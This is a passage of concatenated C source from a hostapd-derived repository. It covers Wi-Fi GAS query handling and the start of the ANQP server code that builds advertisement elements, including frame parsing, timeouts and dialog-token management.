comeback_delay * 1024 - secs * 1000000; wpa_printf(MSG_DEBUG, "GAS: Send comeback request to " MACSTR " in %u secs %u usecs", MAC2STR(query->addr), secs, usecs); eloop_cancel_timeout(gas_query_tx_comeback_timeout, gas, query); eloop_register_timeout(secs, usecs, gas_query_tx_comeback_timeout, gas, query); } static void gas_query_rx_initial(struct gas_query_ap *gas, struct gas_query_pending *query, const u8 *adv_proto, const u8 *resp, size_t len, u16 comeback_delay) { wpa_printf(MSG_DEBUG, "GAS: Received initial response from " MACSTR " (dialog_token=%u comeback_delay=%u)", MAC2STR(query->addr), query->dialog_token, comeback_delay); query->adv_proto = wpabuf_alloc_copy(adv_proto, 2 + adv_proto[1]); if (query->adv_proto == NULL) { gas_query_done(gas, query, GAS_QUERY_AP_INTERNAL_ERROR); return; } if (comeback_delay) { eloop_cancel_timeout(gas_query_timeout, gas, query); query->wait_comeback = 1; gas_query_tx_comeback_req_delay(gas, query, comeback_delay); return; } /* Query was completed without comeback mechanism */ if (gas_query_append(query, resp, len) < 0) { gas_query_done(gas, query, GAS_QUERY_AP_INTERNAL_ERROR); return; } gas_query_done(gas, query, GAS_QUERY_AP_SUCCESS); } static void gas_query_rx_comeback(struct gas_query_ap *gas, struct gas_query_pending *query, const u8 *adv_proto, const u8 *resp, size_t len, u8 frag_id, u8 more_frags, u16 comeback_delay) { wpa_printf(MSG_DEBUG, "GAS: Received comeback response from " MACSTR " (dialog_token=%u frag_id=%u more_frags=%u " "comeback_delay=%u)", MAC2STR(query->addr), query->dialog_token, frag_id, more_frags, comeback_delay); eloop_cancel_timeout(gas_query_rx_comeback_timeout, gas, query); if ((size_t) 2 + adv_proto[1] != wpabuf_len(query->adv_proto) || os_memcmp(adv_proto, wpabuf_head(query->adv_proto), wpabuf_len(query->adv_proto)) != 0) { wpa_printf(MSG_DEBUG, "GAS: Advertisement Protocol changed " "between initial and comeback response from " MACSTR, MAC2STR(query->addr)); gas_query_done(gas, query, GAS_QUERY_AP_PEER_ERROR); return; } if (comeback_delay) { if (frag_id) { wpa_printf(MSG_DEBUG, "GAS: Invalid comeback response " "with non-zero frag_id and comeback_delay " "from " MACSTR, MAC2STR(query->addr)); gas_query_done(gas, query, GAS_QUERY_AP_PEER_ERROR); return; } gas_query_tx_comeback_req_delay(gas, query, comeback_delay); return; } if (frag_id != query->next_frag_id) { wpa_printf(MSG_DEBUG, "GAS: Unexpected frag_id in response " "from " MACSTR, MAC2STR(query->addr)); if (frag_id + 1 == query->next_frag_id) { wpa_printf(MSG_DEBUG, "GAS: Drop frame as possible " "retry of previous fragment"); return; } gas_query_done(gas, query, GAS_QUERY_AP_PEER_ERROR); return; } query->next_frag_id++; if (gas_query_append(query, resp, len) < 0) { gas_query_done(gas, query, GAS_QUERY_AP_INTERNAL_ERROR); return; } if (more_frags) { gas_query_tx_comeback_req(gas, query); return; } gas_query_done(gas, query, GAS_QUERY_AP_SUCCESS); } /** * gas_query_ap_rx - Indicate reception of a Public Action or Protected Dual * frame * @gas: GAS query data from gas_query_init() * @sa: Source MAC address of the Action frame * @categ: Category of the Action frame * @data: Payload of the Action frame * @len: Length of @data * @freq: Frequency (in MHz) on which the frame was received * Returns: 0 if the Public Action frame was a GAS frame or -1 if not */ int gas_query_ap_rx(struct gas_query_ap *gas, const u8 *sa, u8 categ, const u8 *data, size_t len, int freq) { struct gas_query_pending *query; u8 action, dialog_token, frag_id = 0, more_frags = 0; u16 comeback_delay, resp_len; const u8 *pos, *adv_proto; int prot, pmf; unsigned int left; if (!gas || len < 4) return -1; pos = data; action = *pos++; dialog_token = *pos++; if (action != WLAN_PA_GAS_INITIAL_RESP && action != WLAN_PA_GAS_COMEBACK_RESP) return -1; /* Not a GAS response */ prot = categ == WLAN_ACTION_PROTECTED_DUAL; pmf = pmf_in_use(gas->hapd, sa); if (prot && !pmf) { wpa_printf(MSG_DEBUG, "GAS: Drop unexpected protected GAS frame when PMF is disabled"); return 0; } if (!prot && pmf) { wpa_printf(MSG_DEBUG, "GAS: Drop unexpected unprotected GAS frame when PMF is enabled"); return 0; } query = gas_query_get_pending(gas, sa, dialog_token); if (query == NULL) { wpa_printf(MSG_DEBUG, "GAS: No pending query found for " MACSTR " dialog token %u", MAC2STR(sa), dialog_token); return -1; } wpa_printf(MSG_DEBUG, "GAS: Response in %d ms from " MACSTR, ms_from_time(&query->last_oper), MAC2STR(sa)); if (query->wait_comeback && action == WLAN_PA_GAS_INITIAL_RESP) { wpa_printf(MSG_DEBUG, "GAS: Unexpected initial response from " MACSTR " dialog token %u when waiting for comeback " "response", MAC2STR(sa), dialog_token); return 0; } if (!query->wait_comeback && action == WLAN_PA_GAS_COMEBACK_RESP) { wpa_printf(MSG_DEBUG, "GAS: Unexpected comeback response from " MACSTR " dialog token %u when waiting for initial " "response", MAC2STR(sa), dialog_token); return 0; } query->status_code = WPA_GET_LE16(pos); pos += 2; if (query->status_code == WLAN_STATUS_QUERY_RESP_OUTSTANDING && action == WLAN_PA_GAS_COMEBACK_RESP) { wpa_printf(MSG_DEBUG, "GAS: Allow non-zero status for outstanding comeback response"); } else if (query->status_code != WLAN_STATUS_SUCCESS) { wpa_printf(MSG_DEBUG, "GAS: Query to " MACSTR " dialog token " "%u failed - status code %u", MAC2STR(sa), dialog_token, query->status_code); gas_query_done(gas, query, GAS_QUERY_AP_FAILURE); return 0; } if (action == WLAN_PA_GAS_COMEBACK_RESP) { if (pos + 1 > data + len) return 0; frag_id = *pos & 0x7f; more_frags = (*pos & 0x80) >> 7; pos++; } /* Comeback Delay */ if (pos + 2 > data + len) return 0; comeback_delay = WPA_GET_LE16(pos); pos += 2; /* Advertisement Protocol element */ if (pos + 2 > data + len || pos + 2 + pos[1] > data + len) { wpa_printf(MSG_DEBUG, "GAS: No room for Advertisement " "Protocol element in the response from " MACSTR, MAC2STR(sa)); return 0; } if (*pos != WLAN_EID_ADV_PROTO) { wpa_printf(MSG_DEBUG, "GAS: Unexpected Advertisement " "Protocol element ID %u in response from " MACSTR, *pos, MAC2STR(sa)); return 0; } adv_proto = pos; pos += 2 + pos[1]; /* Query Response Length */ if (pos + 2 > data + len) { wpa_printf(MSG_DEBUG, "GAS: No room for GAS Response Length"); return 0; } resp_len = WPA_GET_LE16(pos); pos += 2; left = data + len - pos; if (resp_len > left) { wpa_printf(MSG_DEBUG, "GAS: Truncated Query Response in " "response from " MACSTR, MAC2STR(sa)); return 0; } if (resp_len < left) { wpa_printf(MSG_DEBUG, "GAS: Ignore %u octets of extra data " "after Query Response from " MACSTR, left - resp_len, MAC2STR(sa)); } if (action == WLAN_PA_GAS_COMEBACK_RESP) gas_query_rx_comeback(gas, query, adv_proto, pos, resp_len, frag_id, more_frags, comeback_delay); else gas_query_rx_initial(gas, query, adv_proto, pos, resp_len, comeback_delay); return 0; } static void gas_query_timeout(void *eloop_data, void *user_ctx) { struct gas_query_ap *gas = eloop_data; struct gas_query_pending *query = user_ctx; wpa_printf(MSG_DEBUG, "GAS: No response received for query to " MACSTR " dialog token %u", MAC2STR(query->addr), query->dialog_token); gas_query_done(gas, query, GAS_QUERY_AP_TIMEOUT); } static int gas_query_dialog_token_available(struct gas_query_ap *gas, const u8 *dst, u8 dialog_token) { struct gas_query_pending *q; dl_list_for_each(q, &gas->pending, struct gas_query_pending, list) { if (os_memcmp(dst, q->addr, ETH_ALEN) == 0 && dialog_token == q->dialog_token) return 0; } return 1; } static void gas_query_tx_initial_req(struct gas_query_ap *gas, struct gas_query_pending *query) { if (gas_query_tx(gas, query, query->req, GAS_QUERY_WAIT_TIME_INITIAL) < 0) { wpa_printf(MSG_DEBUG, "GAS: Failed to send Action frame to " MACSTR, MAC2STR(query->addr)); gas_query_done(gas, query, GAS_QUERY_AP_INTERNAL_ERROR); return; } gas->current = query; wpa_printf(MSG_DEBUG, "GAS: Starting query timeout for dialog token %u", query->dialog_token); eloop_register_timeout(GAS_QUERY_TIMEOUT_PERIOD, 0, gas_query_timeout, gas, query); } static int gas_query_new_dialog_token(struct gas_query_ap *gas, const u8 *dst) { static int next_start = 0; int dialog_token; for (dialog_token = 0; dialog_token < 256; dialog_token++) { if (gas_query_dialog_token_available( gas, dst, (next_start + dialog_token) % 256)) break; } if (dialog_token == 256) return -1; /* Too many pending queries */ dialog_token = (next_start + dialog_token) % 256; next_start = (dialog_token + 1) % 256; return dialog_token; } /** * gas_query_ap_req - Request a GAS query * @gas: GAS query data from gas_query_init() * @dst: Destination MAC address for the query * @freq: Frequency (in MHz) for the channel on which to send the query * @req: GAS query payload (to be freed by gas_query module in case of success * return) * @cb: Callback function for reporting GAS query result and response * @ctx: Context pointer to use with the @cb call * Returns: dialog token (>= 0) on success or -1 on failure */ int gas_query_ap_req(struct gas_query_ap *gas, const u8 *dst, int freq, struct wpabuf *req, void (*cb)(void *ctx, const u8 *dst, u8 dialog_token, enum gas_query_ap_result result, const struct wpabuf *adv_proto, const struct wpabuf *resp, u16 status_code), void *ctx) { struct gas_query_pending *query; int dialog_token; if (!gas || wpabuf_len(req) < 3) return -1; dialog_token = gas_query_new_dialog_token(gas, dst); if (dialog_token < 0) return -1; query = os_zalloc(sizeof(*query)); if (query == NULL) return -1; query->gas = gas; os_memcpy(query->addr, dst, ETH_ALEN); query->dialog_token = dialog_token; query->freq = freq; query->cb = cb; query->ctx = ctx; query->req = req; dl_list_add(&gas->pending, &query->list); *(wpabuf_mhead_u8(req) + 2) = dialog_token; wpa_msg(gas->msg_ctx, MSG_INFO, GAS_QUERY_START "addr=" MACSTR " dialog_token=%u freq=%d", MAC2STR(query->addr), query->dialog_token, query->freq); gas_query_tx_initial_req(gas, query); return dialog_token; } wpa_sycophant-master/src/ap/gas_query_ap.h000066400000000000000000000023631377436615100212660ustar00rootroot00000000000000/* * Generic advertisement service (GAS) query * Copyright (c) 2009, Atheros Communications * Copyright (c) 2011-2017, Qualcomm Atheros * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef GAS_QUERY_AP_H #define GAS_QUERY_AP_H struct gas_query_ap; struct gas_query_ap * gas_query_ap_init(struct hostapd_data *hapd, void *msg_ctx); void gas_query_ap_deinit(struct gas_query_ap *gas); int gas_query_ap_rx(struct gas_query_ap *gas, const u8 *sa, u8 categ, const u8 *data, size_t len, int freq); /** * enum gas_query_ap_result - GAS query result */ enum gas_query_ap_result { GAS_QUERY_AP_SUCCESS, GAS_QUERY_AP_FAILURE, GAS_QUERY_AP_TIMEOUT, GAS_QUERY_AP_PEER_ERROR, GAS_QUERY_AP_INTERNAL_ERROR, GAS_QUERY_AP_DELETED_AT_DEINIT }; int gas_query_ap_req(struct gas_query_ap *gas, const u8 *dst, int freq, struct wpabuf *req, void (*cb)(void *ctx, const u8 *dst, u8 dialog_token, enum gas_query_ap_result result, const struct wpabuf *adv_proto, const struct wpabuf *resp, u16 status_code), void *ctx); void gas_query_ap_tx_status(struct gas_query_ap *gas, const u8 *dst, const u8 *data, size_t data_len, int ok); #endif /* GAS_QUERY_AP_H */ wpa_sycophant-master/src/ap/gas_serv.c000066400000000000000000001423611377436615100204160ustar00rootroot00000000000000/* * Generic advertisement service (GAS) server * Copyright (c) 2011-2014, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "includes.h" #include "common.h" #include "common/ieee802_11_defs.h" #include "common/gas.h" #include "common/wpa_ctrl.h" #include "utils/eloop.h" #include "hostapd.h" #include "ap_config.h" #include "ap_drv_ops.h" #include "dpp_hostapd.h" #include "sta_info.h" #include "gas_serv.h" #ifdef CONFIG_DPP static void gas_serv_write_dpp_adv_proto(struct wpabuf *buf) { wpabuf_put_u8(buf, WLAN_EID_ADV_PROTO); wpabuf_put_u8(buf, 8); /* Length */ wpabuf_put_u8(buf, 0x7f); wpabuf_put_u8(buf, WLAN_EID_VENDOR_SPECIFIC); wpabuf_put_u8(buf, 5); wpabuf_put_be24(buf, OUI_WFA); wpabuf_put_u8(buf, DPP_OUI_TYPE); wpabuf_put_u8(buf, 0x01); } #endif /* CONFIG_DPP */ static void convert_to_protected_dual(struct wpabuf *msg) { u8 *categ = wpabuf_mhead_u8(msg); *categ = WLAN_ACTION_PROTECTED_DUAL; } static struct gas_dialog_info * gas_dialog_create(struct hostapd_data *hapd, const u8 *addr, u8 dialog_token) { struct sta_info *sta; struct gas_dialog_info *dia = NULL; int i, j; sta = ap_get_sta(hapd, addr); if (!sta) { /* * We need a STA entry to be able to maintain state for * the GAS query. */ wpa_printf(MSG_DEBUG, "ANQP: Add a temporary STA entry for " "GAS query"); sta = ap_sta_add(hapd, addr); if (!sta) { wpa_printf(MSG_DEBUG, "Failed to add STA " MACSTR " for GAS query", MAC2STR(addr)); return NULL; } sta->flags |= WLAN_STA_GAS; /* * The default inactivity is 300 seconds. We don't need * it to be that long. Use five second timeout and increase this * with the comeback_delay for testing cases. */ ap_sta_session_timeout(hapd, sta, hapd->conf->gas_comeback_delay / 1024 + 5); } else { ap_sta_replenish_timeout(hapd, sta, 5); } if (sta->gas_dialog == NULL) { sta->gas_dialog = os_calloc(GAS_DIALOG_MAX, sizeof(struct gas_dialog_info)); if (sta->gas_dialog == NULL) return NULL; } for (i = sta->gas_dialog_next, j = 0; j < GAS_DIALOG_MAX; i++, j++) { if (i == GAS_DIALOG_MAX) i = 0; if (sta->gas_dialog[i].valid) continue; dia = &sta->gas_dialog[i]; dia->valid = 1; dia->dialog_token = dialog_token; sta->gas_dialog_next = (++i == GAS_DIALOG_MAX) ? 0 : i; return dia; } wpa_msg(hapd->msg_ctx, MSG_ERROR, "ANQP: Could not create dialog for " MACSTR " dialog_token %u. Consider increasing " "GAS_DIALOG_MAX.", MAC2STR(addr), dialog_token); return NULL; } struct gas_dialog_info * gas_serv_dialog_find(struct hostapd_data *hapd, const u8 *addr, u8 dialog_token) { struct sta_info *sta; int i; sta = ap_get_sta(hapd, addr); if (!sta) { wpa_printf(MSG_DEBUG, "ANQP: could not find STA " MACSTR, MAC2STR(addr)); return NULL; } for (i = 0; sta->gas_dialog && i < GAS_DIALOG_MAX; i++) { if (sta->gas_dialog[i].dialog_token != dialog_token || !sta->gas_dialog[i].valid) continue; ap_sta_replenish_timeout(hapd, sta, 5); return &sta->gas_dialog[i]; } wpa_printf(MSG_DEBUG, "ANQP: Could not find dialog for " MACSTR " dialog_token %u", MAC2STR(addr), dialog_token); return NULL; } void gas_serv_dialog_clear(struct gas_dialog_info *dia) { wpabuf_free(dia->sd_resp); os_memset(dia, 0, sizeof(*dia)); } static void gas_serv_free_dialogs(struct hostapd_data *hapd, const u8 *sta_addr) { struct sta_info *sta; int i; sta = ap_get_sta(hapd, sta_addr); if (sta == NULL || sta->gas_dialog == NULL) return; for (i = 0; i < GAS_DIALOG_MAX; i++) { if (sta->gas_dialog[i].valid) return; } os_free(sta->gas_dialog); sta->gas_dialog = NULL; } #ifdef CONFIG_HS20 static void anqp_add_hs_capab_list(struct hostapd_data *hapd, struct wpabuf *buf) { u8 *len; len = gas_anqp_add_element(buf, ANQP_VENDOR_SPECIFIC); wpabuf_put_be24(buf, OUI_WFA); wpabuf_put_u8(buf, HS20_ANQP_OUI_TYPE); wpabuf_put_u8(buf, HS20_STYPE_CAPABILITY_LIST); wpabuf_put_u8(buf, 0); /* Reserved */ wpabuf_put_u8(buf, HS20_STYPE_CAPABILITY_LIST); if (hapd->conf->hs20_oper_friendly_name) wpabuf_put_u8(buf, HS20_STYPE_OPERATOR_FRIENDLY_NAME); if (hapd->conf->hs20_wan_metrics) wpabuf_put_u8(buf, HS20_STYPE_WAN_METRICS); if (hapd->conf->hs20_connection_capability) wpabuf_put_u8(buf, HS20_STYPE_CONNECTION_CAPABILITY); if (hapd->conf->nai_realm_data) wpabuf_put_u8(buf, HS20_STYPE_NAI_HOME_REALM_QUERY); if (hapd->conf->hs20_operating_class) wpabuf_put_u8(buf, HS20_STYPE_OPERATING_CLASS); if (hapd->conf->hs20_osu_providers_count) wpabuf_put_u8(buf, HS20_STYPE_OSU_PROVIDERS_LIST); if (hapd->conf->hs20_icons_count) wpabuf_put_u8(buf, HS20_STYPE_ICON_REQUEST); if (hapd->conf->hs20_operator_icon_count) wpabuf_put_u8(buf, HS20_STYPE_OPERATOR_ICON_METADATA); gas_anqp_set_element_len(buf, len); } #endif /* CONFIG_HS20 */ static struct anqp_element * get_anqp_elem(struct hostapd_data *hapd, u16 infoid) { struct anqp_element *elem; dl_list_for_each(elem, &hapd->conf->anqp_elem, struct anqp_element, list) { if (elem->infoid == infoid) return elem; } return NULL; } static void anqp_add_elem(struct hostapd_data *hapd, struct wpabuf *buf, u16 infoid) { struct anqp_element *elem; elem = get_anqp_elem(hapd, infoid); if (!elem) return; if (wpabuf_tailroom(buf) < 2 + 2 + wpabuf_len(elem->payload)) { wpa_printf(MSG_DEBUG, "ANQP: No room for InfoID %u payload", infoid); return; } wpabuf_put_le16(buf, infoid); wpabuf_put_le16(buf, wpabuf_len(elem->payload)); wpabuf_put_buf(buf, elem->payload); } static int anqp_add_override(struct hostapd_data *hapd, struct wpabuf *buf, u16 infoid) { if (get_anqp_elem(hapd, infoid)) { anqp_add_elem(hapd, buf, infoid); return 1; } return 0; } static void anqp_add_capab_list(struct hostapd_data *hapd, struct wpabuf *buf) { u8 *len; u16 id; if (anqp_add_override(hapd, buf, ANQP_CAPABILITY_LIST)) return; len = gas_anqp_add_element(buf, ANQP_CAPABILITY_LIST); wpabuf_put_le16(buf, ANQP_CAPABILITY_LIST); if (hapd->conf->venue_name || get_anqp_elem(hapd, ANQP_VENUE_NAME)) wpabuf_put_le16(buf, ANQP_VENUE_NAME); if (get_anqp_elem(hapd, ANQP_EMERGENCY_CALL_NUMBER)) wpabuf_put_le16(buf, ANQP_EMERGENCY_CALL_NUMBER); if (hapd->conf->network_auth_type || get_anqp_elem(hapd, ANQP_NETWORK_AUTH_TYPE)) wpabuf_put_le16(buf, ANQP_NETWORK_AUTH_TYPE); if (hapd->conf->roaming_consortium || get_anqp_elem(hapd, ANQP_ROAMING_CONSORTIUM)) wpabuf_put_le16(buf, ANQP_ROAMING_CONSORTIUM); if (hapd->conf->ipaddr_type_configured || get_anqp_elem(hapd, ANQP_IP_ADDR_TYPE_AVAILABILITY)) wpabuf_put_le16(buf, ANQP_IP_ADDR_TYPE_AVAILABILITY); if (hapd->conf->nai_realm_data || get_anqp_elem(hapd, ANQP_NAI_REALM)) wpabuf_put_le16(buf, ANQP_NAI_REALM); if (hapd->conf->anqp_3gpp_cell_net || get_anqp_elem(hapd, ANQP_3GPP_CELLULAR_NETWORK)) wpabuf_put_le16(buf, ANQP_3GPP_CELLULAR_NETWORK); if (get_anqp_elem(hapd, ANQP_AP_GEOSPATIAL_LOCATION)) wpabuf_put_le16(buf, ANQP_AP_GEOSPATIAL_LOCATION); if (get_anqp_elem(hapd, ANQP_AP_CIVIC_LOCATION)) wpabuf_put_le16(buf, ANQP_AP_CIVIC_LOCATION); if (get_anqp_elem(hapd, ANQP_AP_LOCATION_PUBLIC_URI)) wpabuf_put_le16(buf, ANQP_AP_LOCATION_PUBLIC_URI); if (hapd->conf->domain_name || get_anqp_elem(hapd, ANQP_DOMAIN_NAME)) wpabuf_put_le16(buf, ANQP_DOMAIN_NAME); if (get_anqp_elem(hapd, ANQP_EMERGENCY_ALERT_URI)) wpabuf_put_le16(buf, ANQP_EMERGENCY_ALERT_URI); if (get_anqp_elem(hapd, ANQP_TDLS_CAPABILITY)) wpabuf_put_le16(buf, ANQP_TDLS_CAPABILITY); if (get_anqp_elem(hapd, ANQP_EMERGENCY_NAI)) wpabuf_put_le16(buf, ANQP_EMERGENCY_NAI); if (get_anqp_elem(hapd, ANQP_NEIGHBOR_REPORT)) wpabuf_put_le16(buf, ANQP_NEIGHBOR_REPORT); #ifdef CONFIG_FILS if (!dl_list_empty(&hapd->conf->fils_realms) || get_anqp_elem(hapd, ANQP_FILS_REALM_INFO)) wpabuf_put_le16(buf, ANQP_FILS_REALM_INFO); #endif /* CONFIG_FILS */ if (get_anqp_elem(hapd, ANQP_CAG)) wpabuf_put_le16(buf, ANQP_CAG); if (hapd->conf->venue_url || get_anqp_elem(hapd, ANQP_VENUE_URL)) wpabuf_put_le16(buf, ANQP_VENUE_URL); if (get_anqp_elem(hapd, ANQP_ADVICE_OF_CHARGE)) wpabuf_put_le16(buf, ANQP_ADVICE_OF_CHARGE); if (get_anqp_elem(hapd, ANQP_LOCAL_CONTENT)) wpabuf_put_le16(buf, ANQP_LOCAL_CONTENT); for (id = 280; id < 300; id++) { if (get_anqp_elem(hapd, id)) wpabuf_put_le16(buf, id); } #ifdef CONFIG_HS20 anqp_add_hs_capab_list(hapd, buf); #endif /* CONFIG_HS20 */ gas_anqp_set_element_len(buf, len); } static void anqp_add_venue_name(struct hostapd_data *hapd, struct wpabuf *buf) { if (anqp_add_override(hapd, buf, ANQP_VENUE_NAME)) return; if (hapd->conf->venue_name) { u8 *len; unsigned int i; len = gas_anqp_add_element(buf, ANQP_VENUE_NAME); wpabuf_put_u8(buf, hapd->conf->venue_group); wpabuf_put_u8(buf, hapd->conf->venue_type); for (i = 0; i < hapd->conf->venue_name_count; i++) { struct hostapd_lang_string *vn; vn = &hapd->conf->venue_name[i]; wpabuf_put_u8(buf, 3 + vn->name_len); wpabuf_put_data(buf, vn->lang, 3); wpabuf_put_data(buf, vn->name, vn->name_len); } gas_anqp_set_element_len(buf, len); } } static void anqp_add_venue_url(struct hostapd_data *hapd, struct wpabuf *buf) { if (anqp_add_override(hapd, buf, ANQP_VENUE_URL)) return; if (hapd->conf->venue_url) { u8 *len; unsigned int i; len = gas_anqp_add_element(buf, ANQP_VENUE_URL); for (i = 0; i < hapd->conf->venue_url_count; i++) { struct hostapd_venue_url *url; url = &hapd->conf->venue_url[i]; wpabuf_put_u8(buf, 1 + url->url_len); wpabuf_put_u8(buf, url->venue_number); wpabuf_put_data(buf, url->url, url->url_len); } gas_anqp_set_element_len(buf, len); } } static void anqp_add_network_auth_type(struct hostapd_data *hapd, struct wpabuf *buf) { if (anqp_add_override(hapd, buf, ANQP_NETWORK_AUTH_TYPE)) return; if (hapd->conf->network_auth_type) { wpabuf_put_le16(buf, ANQP_NETWORK_AUTH_TYPE); wpabuf_put_le16(buf, hapd->conf->network_auth_type_len); wpabuf_put_data(buf, hapd->conf->network_auth_type, hapd->conf->network_auth_type_len); } } static void anqp_add_roaming_consortium(struct hostapd_data *hapd, struct wpabuf *buf) { unsigned int i; u8 *len; if (anqp_add_override(hapd, buf, ANQP_ROAMING_CONSORTIUM)) return; len = gas_anqp_add_element(buf, ANQP_ROAMING_CONSORTIUM); for (i = 0; i < hapd->conf->roaming_consortium_count; i++) { struct hostapd_roaming_consortium *rc; rc = &hapd->conf->roaming_consortium[i]; wpabuf_put_u8(buf, rc->len); wpabuf_put_data(buf, rc->oi, rc->len); } gas_anqp_set_element_len(buf, len); } static void anqp_add_ip_addr_type_availability(struct hostapd_data *hapd, struct wpabuf *buf) { if (anqp_add_override(hapd, buf, ANQP_IP_ADDR_TYPE_AVAILABILITY)) return; if (hapd->conf->ipaddr_type_configured) { wpabuf_put_le16(buf, ANQP_IP_ADDR_TYPE_AVAILABILITY); wpabuf_put_le16(buf, 1); wpabuf_put_u8(buf, hapd->conf->ipaddr_type_availability); } } static void anqp_add_nai_realm_eap(struct wpabuf *buf, struct hostapd_nai_realm_data *realm) { unsigned int i, j; wpabuf_put_u8(buf, realm->eap_method_count); for (i = 0; i < realm->eap_method_count; i++) { struct hostapd_nai_realm_eap *eap = &realm->eap_method[i]; wpabuf_put_u8(buf, 2 + (3 * eap->num_auths)); wpabuf_put_u8(buf, eap->eap_method); wpabuf_put_u8(buf, eap->num_auths); for (j = 0; j < eap->num_auths; j++) { wpabuf_put_u8(buf, eap->auth_id[j]); wpabuf_put_u8(buf, 1); wpabuf_put_u8(buf, eap->auth_val[j]); } } } static void anqp_add_nai_realm_data(struct wpabuf *buf, struct hostapd_nai_realm_data *realm, unsigned int realm_idx) { u8 *realm_data_len; wpa_printf(MSG_DEBUG, "realm=%s, len=%d", realm->realm[realm_idx], (int) os_strlen(realm->realm[realm_idx])); realm_data_len = wpabuf_put(buf, 2); wpabuf_put_u8(buf, realm->encoding); wpabuf_put_u8(buf, os_strlen(realm->realm[realm_idx])); wpabuf_put_str(buf, realm->realm[realm_idx]); anqp_add_nai_realm_eap(buf, realm); gas_anqp_set_element_len(buf, realm_data_len); } static int hs20_add_nai_home_realm_matches(struct hostapd_data *hapd, struct wpabuf *buf, const u8 *home_realm, size_t home_realm_len) { unsigned int i, j, k; u8 num_realms, num_matching = 0, encoding, realm_len, *realm_list_len; struct hostapd_nai_realm_data *realm; const u8 *pos, *realm_name, *end; struct { unsigned int realm_data_idx; unsigned int realm_idx; } matches[10]; pos = home_realm; end = pos + home_realm_len; if (end - pos < 1) { wpa_hexdump(MSG_DEBUG, "Too short NAI Home Realm Query", home_realm, home_realm_len); return -1; } num_realms = *pos++; for (i = 0; i < num_realms && num_matching < 10; i++) { if (end - pos < 2) { wpa_hexdump(MSG_DEBUG, "Truncated NAI Home Realm Query", home_realm, home_realm_len); return -1; } encoding = *pos++; realm_len = *pos++; if (realm_len > end - pos) { wpa_hexdump(MSG_DEBUG, "Truncated NAI Home Realm Query", home_realm, home_realm_len); return -1; } realm_name = pos; for (j = 0; j < hapd->conf->nai_realm_count && num_matching < 10; j++) { const u8 *rpos, *rend; realm = &hapd->conf->nai_realm_data[j]; if (encoding != realm->encoding) continue; rpos = realm_name; while (rpos < realm_name + realm_len && num_matching < 10) { for (rend = rpos; rend < realm_name + realm_len; rend++) { if (*rend == ';') break; } for (k = 0; k < MAX_NAI_REALMS && realm->realm[k] && num_matching < 10; k++) { if ((int) os_strlen(realm->realm[k]) != rend - rpos || os_strncmp((char *) rpos, realm->realm[k], rend - rpos) != 0) continue; matches[num_matching].realm_data_idx = j; matches[num_matching].realm_idx = k; num_matching++; } rpos = rend + 1; } } pos += realm_len; } realm_list_len = gas_anqp_add_element(buf, ANQP_NAI_REALM); wpabuf_put_le16(buf, num_matching); /* * There are two ways to format. 1. each realm in a NAI Realm Data unit * 2. all realms that share the same EAP methods in a NAI Realm Data * unit. The first format is likely to be bigger in size than the * second, but may be easier to parse and process by the receiver. */ for (i = 0; i < num_matching; i++) { wpa_printf(MSG_DEBUG, "realm_idx %d, realm_data_idx %d", matches[i].realm_data_idx, matches[i].realm_idx); realm = &hapd->conf->nai_realm_data[matches[i].realm_data_idx]; anqp_add_nai_realm_data(buf, realm, matches[i].realm_idx); } gas_anqp_set_element_len(buf, realm_list_len); return 0; } static void anqp_add_nai_realm(struct hostapd_data *hapd, struct wpabuf *buf, const u8 *home_realm, size_t home_realm_len, int nai_realm, int nai_home_realm) { if (nai_realm && !nai_home_realm && anqp_add_override(hapd, buf, ANQP_NAI_REALM)) return; if (nai_realm && hapd->conf->nai_realm_data) { u8 *len; unsigned int i, j; len = gas_anqp_add_element(buf, ANQP_NAI_REALM); wpabuf_put_le16(buf, hapd->conf->nai_realm_count); for (i = 0; i < hapd->conf->nai_realm_count; i++) { u8 *realm_data_len, *realm_len; struct hostapd_nai_realm_data *realm; realm = &hapd->conf->nai_realm_data[i]; realm_data_len = wpabuf_put(buf, 2); wpabuf_put_u8(buf, realm->encoding); realm_len = wpabuf_put(buf, 1); for (j = 0; realm->realm[j]; j++) { if (j > 0) wpabuf_put_u8(buf, ';'); wpabuf_put_str(buf, realm->realm[j]); } *realm_len = (u8 *) wpabuf_put(buf, 0) - realm_len - 1; anqp_add_nai_realm_eap(buf, realm); gas_anqp_set_element_len(buf, realm_data_len); } gas_anqp_set_element_len(buf, len); } else if (nai_home_realm && hapd->conf->nai_realm_data && home_realm) { hs20_add_nai_home_realm_matches(hapd, buf, home_realm, home_realm_len); } } static void anqp_add_3gpp_cellular_network(struct hostapd_data *hapd, struct wpabuf *buf) { if (anqp_add_override(hapd, buf, ANQP_3GPP_CELLULAR_NETWORK)) return; if (hapd->conf->anqp_3gpp_cell_net) { wpabuf_put_le16(buf, ANQP_3GPP_CELLULAR_NETWORK); wpabuf_put_le16(buf, hapd->conf->anqp_3gpp_cell_net_len); wpabuf_put_data(buf, hapd->conf->anqp_3gpp_cell_net, hapd->conf->anqp_3gpp_cell_net_len); } } static void anqp_add_domain_name(struct hostapd_data *hapd, struct wpabuf *buf) { if (anqp_add_override(hapd, buf, ANQP_DOMAIN_NAME)) return; if (hapd->conf->domain_name) { wpabuf_put_le16(buf, ANQP_DOMAIN_NAME); wpabuf_put_le16(buf, hapd->conf->domain_name_len); wpabuf_put_data(buf, hapd->conf->domain_name, hapd->conf->domain_name_len); } } #ifdef CONFIG_FILS static void anqp_add_fils_realm_info(struct hostapd_data *hapd, struct wpabuf *buf) { size_t count; if (anqp_add_override(hapd, buf, ANQP_FILS_REALM_INFO)) return; count = dl_list_len(&hapd->conf->fils_realms); if (count > 10000) count = 10000; if (count) { struct fils_realm *realm; wpabuf_put_le16(buf, ANQP_FILS_REALM_INFO); wpabuf_put_le16(buf, 2 * count); dl_list_for_each(realm, &hapd->conf->fils_realms, struct fils_realm, list) { if (count == 0) break; wpabuf_put_data(buf, realm->hash, 2); count--; } } } #endif /* CONFIG_FILS */ #ifdef CONFIG_HS20 static void anqp_add_operator_friendly_name(struct hostapd_data *hapd, struct wpabuf *buf) { if (hapd->conf->hs20_oper_friendly_name) { u8 *len; unsigned int i; len = gas_anqp_add_element(buf, ANQP_VENDOR_SPECIFIC); wpabuf_put_be24(buf, OUI_WFA); wpabuf_put_u8(buf, HS20_ANQP_OUI_TYPE); wpabuf_put_u8(buf, HS20_STYPE_OPERATOR_FRIENDLY_NAME); wpabuf_put_u8(buf, 0); /* Reserved */ for (i = 